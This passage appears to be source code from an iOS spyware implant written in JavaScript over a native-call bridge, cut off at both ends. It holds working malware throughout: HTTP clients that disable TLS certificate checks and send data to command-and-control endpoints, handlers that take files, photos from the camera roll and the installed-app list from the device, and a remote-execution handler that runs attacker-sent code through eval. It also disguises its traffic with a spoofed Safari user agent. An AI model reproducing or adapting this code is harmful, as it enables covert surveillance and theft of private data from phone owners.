Safari/604.1\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t_sendBytes(fd, hdr);\n\t\t_sendBytes(fd, bodyStr);\n\n\t\tconst resp = _recvAll(fd);\n\t\tconst idx = resp.indexOf(\"\\r\\n\\r\\n\");\n\t\tif (idx < 0) return null;\n\t\ttry { return JSON.parse(resp.substring(idx + 4)); } catch(e) { return null; }\n\t} finally {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n}\n\n// ============================================================================\n// CFStream HTTPS Client (https:// - production with Nginx/Cloudflare)\n// ============================================================================\n\nconst _RTLD_DEFAULT = 0xfffffffffffffffen;\n\nfunction _makeCFString(str) {\n\tvar buf = Native.callSymbol(\"malloc\", str.length + 1);\n\tNative.writeString(buf, str);\n\tvar cfs = Native.callSymbol(\"CFStringCreateWithCString\", 0n, buf, 0x08000100);\n\tNative.callSymbol(\"free\", buf);\n\treturn cfs;\n}\n\nfunction _getGlobalCF(name) {\n\tvar addr = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, name);\n\tif (!addr || addr === 0n) return 0n;\n\treturn Native.readPtr(BigInt(addr));\n}\n\nfunction _getGlobalCFSafe(name) {\n\tvar val = _getGlobalCF(name);\n\tif (val && val !== 0n) return val;\n\treturn _makeCFString(name);\n}\n\nfunction _cfstreamPost(host, port, path, bodyStr) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return null;\n\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\",\n\t\t\t0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\n\t\tNative.callSymbol(\"CFRelease\", hostCF);\n\t\thostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr));\n\t\tNative.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return null;\n\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryValueCallBacks\");\n\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\",\n\t\t\t\t\t0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return null;\n\n\t\t\tvar hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host +\n\t\t\t\t\"\\r\\nContent-Type: application/json\" +\n\t\t\t\t\"\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\" +\n\t\t\t\t\"\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t\tvar fullReq = hdr + bodyStr;\n\t\t\tvar reqBuf = Native.callSymbol(\"malloc\", fullReq.length + 1);\n\t\t\tNative.writeString(reqBuf, fullReq);\n\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < fullReq.length) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\",\n\t\t\t\t\tws, BigInt(reqBuf) + BigInt(totalSent),\n\t\t\t\t\tfullReq.length - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(reqBuf));\n\t\t\tif (totalSent < fullReq.length) return null;\n\n\t\t\tvar respBuf = Native.callSymbol(\"malloc\", 65536);\n\t\t\tvar result = \"\";\n\t\t\tfor (var ri = 0; ri < 50; ri++) {\n\t\t\t\tvar br = Number(Native.callSymbol(\"CFReadStreamRead\",\n\t\t\t\t\trs, BigInt(respBuf), 65535));\n\t\t\t\tif (br <= 0) break;\n\t\t\t\tresult += Native.readString(BigInt(respBuf), br);\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(respBuf));\n\n\t\t\tvar idx = result.indexOf(\"\\r\\n\\r\\n\");\n\t\t\tif (idx < 0) return null;\n\t\t\ttry { return JSON.parse(result.substring(idx + 4)); } catch(e) { return null; }\n\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _writeLog(msg) {\n\ttry {\n\t\tvar ts = new Date().toISOString();\n\t\tvar line = \"[\" + ts + \"] \" + msg + \"\\n\";\n\t\tvar fd = Number(Native.callSymbol(\"open\", \"/tmp/c2_wallet_debug.log\", 0x209, 0x1FF));\n\t\tif (fd > 0) {\n\t\t\tvar buf = Native.callSymbol(\"malloc\", line.length + 1);\n\t\t\tNative.writeString(buf, line);\n\t\t\tNative.callSymbol(\"write\", fd, buf, line.length);\n\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\tNative.callSymbol(\"close\", fd);\n\t\t}\n\t} catch(e) {}\n\ttry {\n\t\tvar u = \"\";\n\t\ttry { u = DEVICE_UUID; } catch(_u) {}\n\t\thttpPost(_HQ_DELIV_LOG_URL, { uuid: u, lhu: u, text: String(msg), source: \"c2_wallet\" });\n\t} catch(_le) {}\n}\n\n// ============================================================================\n// httpPost - dual mode (https -> CFStream TLS, http -> POSIX socket)\n// ============================================================================\n\nfunction httpPost(url, body) {\n\tconst { host, port, path } = parseURL(url);\n\tconst bodyStr = JSON.stringify(body);\n\tif (url.indexOf(\"https://\") === 0) {\n\t\treturn _cfstreamPost(host, port, path, bodyStr);\n\t}\n\treturn _socketPost(host, port, path, bodyStr);\n}\n\nfunction hqPost(endpoint, body) {\n\ttry { return httpPost(HQ_API_BASE + endpoint, body); }\n\tcatch(e) { return null; }\n}\n\n// ============================================================================\n// HQ Photo Multipart Upload\n// ============================================================================\n\nfunction _writeStr(ptr, str) {\n\tvar buf = new ArrayBuffer(str.length);\n\tvar a = new Uint8Array(buf);\n\tfor (var i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\tNative.write(ptr, buf);\n}\n\nfunction _cfstreamSendRaw(host, port, reqBuf, reqLen) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return false;\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\", 0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\t\tNative.callSymbol(\"CFRelease\", hostCF); hostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr)); Native.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return false;\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryValueCallBacks\");\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return false;\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < reqLen) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\", ws, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\treturn totalSent >= reqLen;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _socketSendRaw(host, port, reqBuf, reqLen) {\n\tvar fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return false;\n\ttry {\n\t\tvar tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n); Native.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\t\tvar sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar sab = new ArrayBuffer(16);\n\t\tvar sv = new DataView(sab);\n\t\tsv.setUint8(0, 16); sv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tvar pp = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(pp[0])); sv.setUint8(5, parseInt(pp[1]));\n\t\tsv.setUint8(6, parseInt(pp[2])); sv.setUint8(7, parseInt(pp[3]));\n\t\tNative.write(sa, sab);\n\t\tvar cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return false;\n\t\tvar totalSent = 0;\n\t\twhile (totalSent < reqLen) {\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", fd, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\tif (nw <= 0) break;\n\t\t\ttotalSent += nw;\n\t\t}\n\t\treturn totalSent >= reqLen;\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _hqUploadPhoto(filePath, filename, uuid, seq, md5hash) {\n\treturn false;\n\tvar useTLS = HQ_API_BASE.indexOf(\"https://\") === 0;\n\tvar p = parseURL(HQ_API_BASE + \"/p\");\n\tvar fileFd = Number(Native.callSymbol(\"open\", filePath, 0, 0));\n\tif (fileFd < 0) return false;\n\tvar fileLen = Number(Native.callSymbol(\"lseek\", fileFd, 0, 2));\n\tNative.callSymbol(\"lseek\", fileFd, 0, 0);\n\tif (fileLen <= 0 || fileLen > 5242880) {\n\t\tNative.callSymbol(\"close\", fileFd);\n\t\treturn false;\n\t}\n\tvar fileBuf = Native.callSymbol(\"malloc\", BigInt(fileLen));\n\tif (!fileBuf || fileBuf === 0n) { Native.callSymbol(\"close\", fileFd); return false; }\n\tNative.callSymbol(\"read\", fileFd, fileBuf, fileLen);\n\tNative.callSymbol(\"close\", fileFd);\n\n\tvar bnd = \"------HqBound\";\n\tvar ua = \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\";\n\tvar prefix =\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"uuid\\\"\\r\\n\\r\\n\" + uuid + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"filename\\\"\\r\\n\\r\\n\" + filename + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"seq\\\"\\r\\n\\r\\n\" + seq + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"md5\\\"\\r\\n\\r\\n\" + md5hash + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\" + filename + \"\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\";\n\tvar suffix = \"\\r\\n--\" + bnd + \"--\\r\\n\";\n\tvar bodyLen = prefix.length + fileLen + suffix.length;\n\tvar hdr = \"POST /p HTTP/1.0\\r\\nHost: \" + p.host + \"\\r\\nContent-Type: multipart/form-data; boundary=\" + bnd + \"\\r\\nUser-Agent: \" + ua + \"\\r\\nContent-Length: \" + bodyLen + \"\\r\\n\\r\\n\";\n\n\tvar totalLen = hdr.length + bodyLen;\n\tvar reqBuf = Native.callSymbol(\"malloc\", BigInt(totalLen));\n\tif (!reqBuf || reqBuf === 0n) { Native.callSymbol(\"free\", fileBuf); return false; }\n\n\t_writeStr(reqBuf, hdr);\n\t_writeStr(reqBuf + BigInt(hdr.length), prefix);\n\tNative.callSymbol(\"memcpy\", reqBuf + BigInt(hdr.length + prefix.length), fileBuf, BigInt(fileLen));\n\tNative.callSymbol(\"free\", fileBuf);\n\t_writeStr(reqBuf + BigInt(hdr.length + prefix.length + fileLen), suffix);\n\n\tvar ok = useTLS\n\t\t? _cfstreamSendRaw(p.host, p.port, reqBuf, totalLen)\n\t\t: _socketSendRaw(p.host, p.port, reqBuf, totalLen);\n\tNative.callSymbol(\"free\", reqBuf);\n\treturn ok;\n}\n\n// ============================================================================\n// File & Directory Helpers\n// ============================================================================\n\nfunction readFileB64(path, maxSize) {\n\tmaxSize = maxSize || MAX_FILE_SIZE;\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tconst sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tconst nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\treturn { b64: bytesToBase64(new Uint8Array(Native.read(buf, nr))), size: nr };\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction getFileSize(path) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return -1;\n\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"close\", fd);\n\treturn sz;\n}\n\nfunction sendFileChunked(cmdId, path, filename, category, meta) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return { ok: false, error: \"open failed\", sent: 0, total: 0 };\n\ttry {\n\t\treturn _sendChunksFromFd(cmdId, fd, -1, filename, category, meta);\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _sendChunksFromFd(cmdId, fd, knownSize, filename, category, meta) {\n\tvar fileSize = knownSize > 0 ? knownSize : Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tif (knownSize <= 0) Native.callSymbol(\"lseek\", fd, 0, 0);\n\tif (fileSize <= 0) return { ok: false, error: \"empty file\", sent: 0, total: 0 };\n\n\tvar totalChunks = Math.ceil(fileSize / CHUNK_SIZE);\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(CHUNK_SIZE));\n\tif (!buf || buf === 0n) return { ok: false, error: \"malloc failed\", sent: 0, total: totalChunks };\n\tvar sentOk = 0, lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(CHUNK_SIZE, fileSize - ci * CHUNK_SIZE);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read returned \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar body = {\n\t\t\t\tcommand_id: cmdId, uuid: DEVICE_UUID,\n\t\t\t\tfilename: filename, data: b64,\n\t\t\t\tchunk_index: ci, total_chunks: totalChunks,\n\t\t\t\tcategory: category || \"\"\n\t\t\t};\n\t\t\tif (meta && ci === totalChunks - 1) {\n\t\t\t\tbody._exec_start_ms = meta.start_ms || 0;\n\t\t\t\tbody._exec_end_ms = meta.end_ms || 0;\n\t\t\t}\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = httpPost(C2_RESULT_URL, body);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch(pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (postOk) { sentOk++; }\n\t\t\telse { lastErr = \"POST failed chunk \" + ci; break; }\n\t\t}\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn { ok: sentOk === totalChunks, error: lastErr, sent: sentOk,\n\t\t\t total: totalChunks, fileSize: fileSize };\n}\n\nfunction listDir(path) {\n\tconst d = Native.callSymbol(\"opendir\", path);\n\tif (!d || d === 0n) return [];\n\tconst out = [];\n\tfor (;;) {\n\t\tconst ent = Native.callSymbol(\"readdir\", d);\n\t\tif (!ent || ent === 0n) break;\n\t\t// Darwin dirent: d_ino(8)+d_seekoff(8)+d_reclen(2)+d_namlen(2)+d_type(1)+d_name\n\t\tconst dtype = new Uint8Array(Native.read(ent + 20n, 1))[0];\n\t\tconst name = Native.readString(ent + 21n, 256);\n\t\tif (name === \".\" || name === \"..\") continue;\n\t\tout.push({ name: name, type: dtype === 4 ? \"dir\" : dtype === 8 ? \"file\" : \"\"+dtype });\n\t}\n\tNative.callSymbol(\"closedir\", d);\n\treturn out;\n}\n\n// ============================================================================\n// Command Handlers\n// ============================================================================\n\nfunction sendResult(cmdId, data, filename, category, meta) {\n\tconst body = { command_id: cmdId, uuid: DEVICE_UUID, filename: filename || \"result.bin\" };\n\tif (data) body.data = data;\n\tif (category) body.category = category;\n\tif (meta) {\n\t\tif (meta.start_ms) body._exec_start_ms = meta.start_ms;\n\t\tif (meta.end_ms) body._exec_end_ms = meta.end_ms;\n\t}\n\tfor (var _retry = 0; _retry < 3; _retry++) {\n\t\tvar _resp = httpPost(C2_RESULT_URL, body);\n\t\tif (_resp !== null) return;\n\t\tNative.callSymbol(\"usleep\", 2000000);\n\t}\n}\n\nfunction sendJSON(cmdId, obj, filename, meta) {\n\tconst s = JSON.stringify(obj);\n\tsendResult(cmdId, bytesToBase64(new Uint8Array(Native.stringToBytes(s, false))), filename || \"result.json\", null, meta);\n}\n\nfunction handleLs(cmd) {\n\tconst p = (cmd.params && cmd.params.path) || \"/\";\n\tsendJSON(cmd.command_id, listDir(p), \"ls_\" + p.replace(/\\//g, \"_\") + \".json\");\n}\n\nfunction handleDownload(cmd) {\n\tvar p = cmd.params && cmd.params.path;\n\tif (!p) return;\n\tvar maxSz = (cmd.params && cmd.params.max_size) || MAX_FILE_SIZE;\n\tvar sz = getFileSize(p);\n\tif (sz <= 0 || sz > maxSz) return;\n\tvar fname = p.split(\"/\").pop();\n\tif (sz <= CHUNK_SIZE) {\n\t\tvar f = readFileB64(p, maxSz);\n\t\tif (f) sendResult(cmd.command_id, f.b64, fname);\n\t} else {\n\t\tsendFileChunked(cmd.command_id, p, fname);\n\t}\n}\n\nfunction handlePhotos(cmd) {\n\tvar dcim = \"/var/mobile/Media/DCIM\";\n\tvar maxCount = (cmd.params && cmd.params.max_count) || 50;\n\tvar count = 0;\n\tvar dirs = listDir(dcim);\n\tfor (var di = 0; di < dirs.length && count < maxCount; di++) {\n\t\tif (dirs[di].type !== \"dir\") continue;\n\t\tvar sub = dcim + \"/\" + dirs[di].name;\n\t\tvar files = listDir(sub);\n\t\tfor (var fi = 0; fi < files.length && count < maxCount; fi++) {\n\t\t\tif (files[fi].type !== \"file\") continue;\n\t\t\tvar fp = sub + \"/\" + files[fi].name;\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) {\n\t\t\t\t\tsendResult(cmd.command_id, f.b64, files[fi].name, \"photos\");\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar chunkResult = sendFileChunked(cmd.command_id, fp, files[fi].name, \"photos\");\n\t\t\t\tif (chunkResult && chunkResult.ok) count++;\n\t\t\t}\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, { collected: count }, \"photos_summary.json\");\n}\n\nfunction _extractBundleId(bytes) {\n\tvar text = _rawToStr(bytes);\n\tvar xmlKey = \"MCMMetadataIdentifier\";\n\tvar ki = text.indexOf(xmlKey);\n\tif (ki >= 0) {\n\t\tvar si = text.indexOf(\"\", ki);\n\t\tif (si >= 0) {\n\t\t\tsi += 8;\n\t\t\tvar ei = text.indexOf(\"\", si);\n\t\t\tif (ei >= 0) return text.substring(si, ei);\n\t\t}\n\t}\n\tvar strings = [];\n\tvar cur = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\tif (bytes[i] >= 0x20 && bytes[i] <= 0x7E) {\n\t\t\tcur += String.fromCharCode(bytes[i]);\n\t\t} else {\n\t\t\tif (cur.length >= 3) strings.push(cur);\n\t\t\tcur = \"\";\n\t\t}\n\t}\n\tif (cur.length >= 3) strings.push(cur);\n\tvar mki = -1;\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tif (strings[j] === \"MCMMetadataIdentifier\") { mki = j; break; }\n\t}\n\tvar candidates = [];\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tvar s = strings[j];\n\t\tvar fi = 0;\n\t\twhile (fi < s.length && !((s.charCodeAt(fi) >= 0x41 && s.charCodeAt(fi) <= 0x5A) ||\n\t\t\t(s.charCodeAt(fi) >= 0x61 && s.charCodeAt(fi) <= 0x7A))) fi++;\n\t\tif (fi > 0) s = s.substring(fi);\n\t\tif (s.length < 5) continue;\n\t\tif (s.indexOf(\".\") < 0) continue;\n\t\tif (s.indexOf(\"MCM\") === 0) continue;\n\t\tif (s.charAt(0) === \"$\") continue;\n\t\tif (s.indexOf(\"]\") >= 0) continue;\n\t\tif (s.indexOf(\"bplist\") >= 0) continue;\n\t\tif (s.indexOf(\"apple.mobile_container\") >= 0) continue;\n\t\tif (s.indexOf(\"MobileInstallation\") >= 0) continue;\n\t\tif (s === \"com.apple.installd\") continue;\n\t\tif (s === \"com.apple.containermanagerd\") continue;\n\t\tif (s === \"com.apple.lsd\") continue;\n\t\tcandidates.push({ s: s, i: j });\n\t}\n\tif (candidates.length === 0) return \"\";\n\tif (candidates.length === 1) return candidates[0].s;\n\tif (mki >= 0) {\n\t\tvar best = candidates[0];\n\t\tvar bd = Math.abs(candidates[0].i - mki);\n\t\tfor (var k = 1; k < candidates.length; k++) {\n\t\t\tvar d = Math.abs(candidates[k].i - mki);\n\t\t\tif (d < bd) { bd = d; best = candidates[k]; }\n\t\t}\n\t\treturn best.s;\n\t}\n\treturn candidates[0].s;\n}\n\nfunction handleApps(cmd) {\n\tconst base = \"/var/mobile/Containers/Data/Application\";\n\tconst dirs = listDir(base);\n\tconst apps = [];\n\tfor (let i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tconst meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tconst ok = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tvar bundleId = \"\";\n\t\tif (ok) {\n\t\t\tvar bytes = _readFileBytes(meta, 8192);\n\t\t\tif (bytes && bytes.length > 0) bundleId = _extractBundleId(bytes);\n\t\t}\n\t\tapps.push({ uuid: dirs[i].name, bundleId: bundleId, hasMetadata: ok });\n\t}\n\tsendJSON(cmd.command_id, apps, \"app_list.json\");\n}\n\nfunction handleExec(cmd) {\n\tvar p = cmd.params || {};\n\tvar code = p.code;\n\tvar startMs = Date.now();\n\tif (!code) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty code\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\ttry {\n\t\tvar r = eval(code);\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"success\",\n\t\t\tresult: String(r !== undefined ? r : \"\"),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t} catch (e) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\",\n\t\t\terror: String(e),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t}\n}\n\n// ============================================================================\n// file_upload: scan directories, filter files, upload matching ones in chunks\n// ============================================================================\n\nfunction _scanDir(base, files, recurse, excludes, filterMode, exts, maxSz) {\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar full = base + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") {\n\t\t\tif (!recurse) continue;\n\t\t\tvar skip = false;\n\t\t\tfor (var e = 0; e < excludes.length; e++) {\n\t\t\t\tif (full === excludes[e]) { skip = true; break; }\n\t\t\t}\n\t\t\tif (!skip) _scanDir(full, files, recurse, excludes, filterMode, exts, maxSz);\n\t\t} else if (items[i].type === \"file\") {\n\t\t\tif (maxSz > 0) {\n\t\t\t\tvar fd = Number(Native.callSymbol(\"open\", full, 0, 